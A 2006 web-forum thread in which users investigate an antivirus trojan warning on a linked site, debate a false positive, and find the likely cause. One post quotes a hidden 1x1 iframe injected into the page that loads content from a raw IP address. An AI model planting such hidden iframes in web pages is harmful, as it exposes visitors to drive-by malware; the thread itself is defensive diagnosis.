Ravens PHP Scripts: Forums
 

 

View next topic
View previous topic
Post new topic   Reply to topic    Ravens PHP Scripts And Web Hosting Forum Index -> Security - Other
Author Message
jakec
Site Admin


Joined: Feb 06, 2006
Posts: 3048
Location: United Kingdom

PostPosted: Thu Nov 02, 2006 2:16 pm Reply with quote

I've just been checking out the various links in Ravens recommended sites block, on the home page, and I'm getting a trojan warning for the pHenylshouse link.

To be more exact it's showing the file as phenylshouse[1].htm and the trojan name is JS/Downloader-AUD.

I was just wondering if anybody else is getting the same warning? Confused
 
View user's profile Send private message
hitwalker
Sells PC To Pay For Divorce


Joined:
Posts: 5661

PostPosted: Thu Nov 02, 2006 5:11 pm Reply with quote

nope...nothing..
im affraid your effected..
read here and for solution.. Only registered users can see links on this board! Get registered or login!
 
View user's profile Send private message
jakec
PostPosted: Fri Nov 03, 2006 12:30 pm Reply with quote

I should of mentioned that I'm using McAfee and it is automatically sorting it out, so I'm not infected, but if I go back I get the same warning from McAfee.

It's got to be something from that website because of the filename.

What viruschecker are you using?

I would be interested to know if anyone else using McAfee is getting the same message?
 
Guardian2003
Site Admin


Joined: Aug 28, 2003
Posts: 6792
Location: Ha Noi, Viet Nam

PostPosted: Fri Nov 03, 2006 12:39 pm Reply with quote

Nope not getting it, I'm using F-Secure
 
View user's profile Send private message Send e-mail
jakec
PostPosted: Fri Nov 03, 2006 12:46 pm Reply with quote

That's odd. Is it McAfee being over the top?

I had a similar problem before with another site and posted a message on the Nuke cops forum: Only registered users can see links on this board! Get registered or login!
 
jakec
PostPosted: Fri Nov 03, 2006 12:48 pm Reply with quote

Just checked the site I had the problem with before and I'm getting the same warning I had before. Confused
 
Guardian2003
PostPosted: Fri Nov 03, 2006 12:55 pm Reply with quote

I think this is what they call in the trade a 'false positive' - I think McAFee is being a little over jealous, it can happen sometimes, especially with ja va script.
 
jakec
PostPosted: Fri Nov 03, 2006 1:04 pm Reply with quote

Is anybody getting a warning for: Only registered users can see links on this board! Get registered or login! ??

If you use McAfees siteadvisor they say that they tested this site and found the site does try to make changes to your PC.

SiteAdvisor doesn't give a warning for phenylshouse site, but I have submitted it to McAfee to check. If it is a false positive they may be able to do something about it.
 
jakec
PostPosted: Fri Nov 03, 2006 1:05 pm Reply with quote

Is anybody getting a warning for: Only registered users can see links on this board! Get registered or login! ??

If you use McAfees siteadvisor they say that they tested this site and found the site does try to make changes to your PC.

SiteAdvisor doesn't give a warning for phenylshouse site, but I have submitted it to McAfee to check. If it is a false positive they may be able to do something about it.
 
hitwalker
PostPosted: Fri Nov 03, 2006 3:17 pm Reply with quote

there are no problems with ourscripts...
and im using norton.
only error (behind black top) i see is...
Warning: Cannot modify header information - headers already sent by (output started at /home/ourscrip/public_html/index.php:1) in /home/ourscrip/public_html/mainfile.php on line 195
 
evaders99
Former Moderator in Good Standing


Joined: Apr 30, 2004
Posts: 3221

PostPosted: Fri Nov 03, 2006 11:22 pm Reply with quote

It is still detecting it through McAfee Viruscan

My guess is that it is this iframe here
Code:


<if rame src= http://85.249.22.18/index.html frameborder="0" width="1" height="1" scrolling="no" name=counter></if rame>


Removing that code and it is no longer a threat by McAfee

_________________
- Only registered users can see links on this board! Get registered or login! -

Need help? Only registered users can see links on this board! Get registered or login! 
View user's profile Send private message Visit poster's website
jakec
PostPosted: Sat Nov 04, 2006 2:51 am Reply with quote

Evaders, that is what I noticed last time.

On the pHenlyhouse site everything seems to be encrypted, so I can't see anything.
 
Display posts from previous:       
Post new topic   Reply to topic    Ravens PHP Scripts And Web Hosting Forum Index -> Security - Other

View next topic
View previous topic
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You can attach files in this forum
You can download files in this forum


Powered by phpBB © 2001-2007 phpBB Group
All times are GMT - 6 Hours
 
Forums ©